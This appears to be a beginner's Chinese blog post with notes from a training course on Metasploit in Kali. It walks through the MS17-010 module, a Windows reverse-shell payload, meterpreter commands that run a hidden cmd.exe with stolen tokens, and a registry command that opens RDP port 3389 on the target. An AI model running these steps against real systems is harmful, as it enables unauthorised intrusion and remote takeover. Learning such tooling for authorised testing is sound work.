本人太渣，所以写了这个基础篇供一些小白和新手看，大佬们手下留情。

这是个基础篇。。。。。

这几天在培训第一次接触Metasploit，没有我原来想象中那么麻烦，真的上手很方便  嘻嘻嘻嘻~~~~o(*￣▽￣*)o

kali集成了Metasploit，所以我用的我是kali。打开kali终端，输入msfconsole.等待Metasploit加载。成功之后终端前面会变成这样：msf>

以下是命令以及解释：msf>search ms17-010

//查找metasploit框架中的渗透攻击模块。

msf > use  XXX    //装载一个渗透攻击或模块

msf > show payloads

//输出很多可用的攻击载荷

msf > set payload windows/shell_reverse_tcp        //指定想要使用的攻击载荷。反弹型的链接方式，可以绕过防火墙

 

msf > set RHOST 渗透目标主机的IP地址

 

msf > set LHOST 本机IP

 

msf >show targets

输出各种版本的操作系统代号，根据目标操作系统版本选择。

msf >set target XX

 

msf >show options                    //输出设置清单，可进行修正

 

msf >exploit  或者  run           //没有错误，即可进行攻击了。

进去之后显示 meterpret

分割线啦啦啦啦~~~~~~

常用命令：

execute -f cmd.exe -i              执行cmd.exe命令并进行交互。

execute -f cmd.exe -i -t           以所有可用令牌来执行cmd命令。

execute -f cmd.exe -i -H -t      以所有可用令牌来执行cmd命令并隐藏该进程。

screenshot                              对目标主机的屏幕进行截图。

use priv                                   加载特权提升扩展模块，来扩展meterpreter库。

开启3389端口命令：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
我实例多次，对Windows XP 和2003系统有用的，不用重起，只要对方是外网，行后方可连接3389终端